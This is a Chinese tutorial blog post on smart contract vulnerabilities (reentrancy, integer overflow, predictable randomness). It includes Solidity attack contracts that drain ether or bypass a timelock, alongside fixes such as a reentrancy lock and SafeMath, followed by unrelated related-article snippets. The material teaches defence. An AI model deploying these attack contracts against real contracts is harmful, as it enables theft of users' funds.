智能合约安全漏洞与解决方案

news2025/3/10 15:10:18
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";

/*
   智能合约安全
   在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改

   重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
   重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断
  
   解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件
   解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
*/
contract EtherStore {
    mapping(address => uint) public balances;

    // 定义重入锁变量
    bool internal locked;
    // 定义重入锁修改器
    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// 攻击合约
contract Attack {

    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 回退函数
    fallback() external payable {
        // 为了避免死循环,加判断
        if (address(etherStore).balance >= 1 ether) {
            // 提现
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        // 存款
        etherStore.deposit{value: 1 ether}();
        // 提现
        etherStore.withdraw(1 ether);
    }

    function getBalacne() public view returns (uint) {
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    //receive() external payable {}
}


/*
  整数溢出漏洞
  uint = uint256  取值范围:0 - 2**256-1  
  数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。
  数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字

  示例,定义时间锁合约
*/
contract TimeLock {
    // 使用openzepplin的安全库 uint myUint;  myUint.add(123);
    using SafeMath for uint;

    // 账本
    mapping(address => uint) public balances;
    // 提现锁定期,到期可提现
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        // 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加锁定时间 这个加法有可能产生数学溢出
    function increaseLockTime(uint _secondsToIncrease) public {
        //lockTime[msg.sender] += _secondsToIncrease;
        // 使用安全库,防止数学溢出 加完会验证结果是否比原来更大
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        // 判断用户余额
        require(balances[msg.sender] >0, "Insufficient funds");
        // 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// 用于验收数字溢出漏洞,该合约无其他意义
contract TimeLockAccack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        // 向TimeLock存款,同时该方法会记录存款到期时间,默认一周
        timeLock.deposit{value: msg.value}();

        // 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()
        // 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间
        // 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0
        // x = -t  调用这个方法,实际会把取款时间改为0
        timeLock.increaseLockTime(
            uint(-timeLock.lockTime(address(this)))
        );
        // 提现
        timeLock.withdraw();
    }
}

使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

不安全写法:lockTime[msg.sender] += _secondsToIncrease;

安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

整数溢出真实案例:

2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金融输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
解决方案:使用安全的随机数源,第三方api或预言机获取随机数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
  随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖
  生产真实案例,如EOS伪随机数漏洞
*/
contract Random {
    // 生产随机数确定是否中奖,如果中奖则转账给中奖者
    function guess() public payable {
        // 获取随机数,确定是否中奖
        bool result = _getRandom();
        if(result){
            // 中奖,获得1个eth奖励
            bool ok = payable(msg.sender).send(1 ether);
            if(!ok){

            }
        }
    }
    // 获取随机数函数,并确定是否中奖
    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
        if(random%2==0){
            return false;
        }
        return true;
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }
    // 设置部署时转入ETH
    constructor() payable{}
    // 允许接收ETH
    receive() external payable{}
}

// 攻击者合约
contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        for(;;){
            // 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回
            if(payable(_random).balance < 1){
                emit Log("succes getting eth");
                return;
            }
            // 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
                emit Log("failed to get rand,wait 10 seconds");
                return;
            }
            emit Log("start accack!!!");
            // 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
            if(!ok){
                emit Log("failed to call guess()");
                return;
            }
        }
    }

    // 查看余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    receive() external payable {}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1239292.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode 2304. 网格中的最小路径代价:DP

【LetMeFly】2304.网格中的最小路径代价&#xff1a;DP 力扣题目链接&#xff1a;https://leetcode.cn/problems/minimum-path-cost-in-a-grid/ 给你一个下标从 0 开始的整数矩阵 grid &#xff0c;矩阵大小为 m x n &#xff0c;由从 0 到 m * n - 1 的不同整数组成。你可以…

网工内推 | 合资公司网工,CCNP/HCIP认证优先,朝九晚六

01 中企网络通信技术有限公司 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、按照工作流程和指引监控网络运行情况和客户连接状况&#xff1b; 2、确保各监控系统能正常运作&#xff1b; 3、快速响应各个网络告警事件&#xff1b; 4、判断出网络故障&#xff0c;按…

【LeetCode刷题】--39.组合总和

39.组合总和 本题详解&#xff1a;回溯算法剪枝 class Solution {public List<List<Integer>> combinationSum(int[] candidates, int target) {int len candidates.length;List<List<Integer>> res new ArrayList<>();if (len 0) {return r…

栈和队列【详解】

目录 一、栈 1.栈的定义 2.栈的初始化 3.入栈 4.出栈 5.获取栈顶元素 6.获取栈元素的个数 7.判断栈是否为空 8.销毁栈 二、队列 1.队列的定义 2.入队 3.出队 4.获取队头元素 5.获取队尾元素 6.判断队列是否为空 7.获取队列的元素个数 8.销毁队列 前言&#xf…

基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码

基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于天鹰算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于天鹰优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

pycurl>=7.43.0.5机器学习环境配置问题

去官网下载对应版本.whl文件&#xff0c;注意使用python --version提前查看 python版本信息和64bit还是32bit,下载对应版本。 cd 到该路径下&#xff0c;并pip。6

WPF树形控件TreeView使用介绍

WPF 中的 TreeView 控件用于显示层次结构数据。它是由可展开和可折叠的 TreeViewItem 节点组成的&#xff0c;这些节点可以无限嵌套以表示数据的层次。 TreeView 基本用法 例如实现下图的效果&#xff1a; xaml代码如下&#xff1a; <Window x:Class"TreeView01.Mai…

docker、elasticsearch8、springboot3集成备忘

目录 一、背景 二、安装docker 三、下载安装elasticsearch 四、下载安装elasticsearch-head 五、springboot集成elasticsearch 一、背景 前两年研究了一段时间elasticsearch&#xff0c;当时也是网上找了很多资料&#xff0c;最后解决个各种问题可以在springboot上运行了…

LeetCode(32)串联所有单词的子串【滑动窗口】【困难】(含图解)

目录 1.题目2.答案3.提交结果截图4.图解 链接&#xff1a; 串联所有单词的子串 1.题目 给定一个字符串 s 和一个字符串数组 words。 words 中所有字符串 长度相同。 s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串。 例如&#xff0c;如果 w…

Mac中LaTex无法编译的问题

最近在使用TexStudio时&#xff0c;遇到一个棘手的问题&#xff1a; 无法编译&#xff0c;提示如下&#xff1a; kpathsea: Running mktexfmt xelatex.fmt /Library/TeX/texbin/mktexfmt: kpsewhich -var-valueTEXMFROOT failed, aborting early. BEGIN failed–compilation a…

基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码

基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于原子轨道搜索算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于原子轨道搜索优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xf…

2023年中国油墨树脂主要环节、产量及市场规模分析[图]

油墨树脂是指用于油墨制造中的一种高分子材料&#xff0c;主要用于改善油墨的粘性、流动性、光泽度和耐磨性等性能。其主要成分为合成树脂&#xff0c;如聚酯、聚酰胺、聚丙烯酸酯等。油墨树脂在油墨制造中的应用非常广泛&#xff0c;可以用于各种类型的油墨&#xff0c;包括印…

Java架构师软件架构风格

目录 1 数据流风格1.1 管道过滤器1.2 数据流风格的优点2 调用返回风格2.1 面向对象风格2.2 调用返回风格总结3 独立构件风格3.1 事件驱动系统风格的主要特点3.2 独立构件风格总结4 虚拟机风格4.1 虚拟机风格总结5 仓库风格5.1 仓库风格总结想学习架构师构建流程请跳转:Java架构…

基于Acconeer的A121-60GHz毫米波雷达传感器SDK移植及测距示例(STM32L496为例)

基于Acconeer的A121-60GHz毫米波雷达传感器SDK移植及测距示例&#xff08;STM32L496为例&#xff09; 工程&#xff1a; Keil工程资源 参考资料&#xff1a; A121 datasheet 1.3 A121 HAL Software Integration User Guide A121 STM32CubeIDE User Guide 官方参考示例工程&a…

接口测试快速上手指南

大量线上BUG表明&#xff0c;对接口进行测试可以有效提升产品质量&#xff0c;暴露手工测试时难以发现的问题&#xff0c;同时也能缩短测试周期&#xff0c;提升测试效率。但在实际执行过程中&#xff0c;接口测试被很多同学打上了“上手难&#xff0c;门槛高”的标签。 本文旨…

使用gin 代理 web网页

问web项目的代理&#xff0c;业界常用的方案是nginx做代理&#xff0c;这个是网上最多资料的。 因为我需要做自己的流量转发&#xff0c;也就是所有访问都要经过我的一个流量分发微服务&#xff0c;这和nginx作用冲突了。如果再加个nginx来做第一层方向代理和网页的静态资源代…

如何让Python2与Python3共存

安装 首先分别安装Py2和Py3&#xff0c;我都安装到C盘根目录里了&#xff0c;然后分别将Py2和Py3都配置到系统环境变量中去&#xff1a;C:\Python36\Scripts\;C:\Python36\;C:\Python27\;C:\Python27\Scripts; 配置 修改两个版本的可执行文件名字 验证 重新配置一下pip …

警惕.locked勒索病毒,您需要知道的预防和恢复方法。

尊敬的读者&#xff1a; 随着网络技术的进步&#xff0c;勒索病毒已经成为一种极具威胁性的网络犯罪工具之一。其中&#xff0c;.locked勒索病毒是一种采用高级加密算法的恶意软件&#xff0c;目的是加密用户的文件&#xff0c;并勒索赎金以提供解密密钥。本文将介绍如何应对被…

A股风格因子看板 (2023.11第12期)

该因子看板跟踪A股风格因子&#xff0c;该因子主要解释沪深两市的市场收益、刻画市场风格趋势的系列风格因子&#xff0c;用以分析市场风格切换、组合风格暴露等。 今日为该因子跟踪第12期&#xff0c;指数组合数据截止日2023-10-31&#xff0c;要点如下&#xff1a; 近1年A股风…

LeetCode算法心得——使用最小花费爬楼梯(记忆化搜索+dp)

大家好&#xff0c;我是晴天学长&#xff0c;很重要的思想动规思想&#xff0c;需要的小伙伴可以关注支持一下哦&#xff01;后续会继续更新的。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1&#xff09;使用最小花费爬楼梯 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从…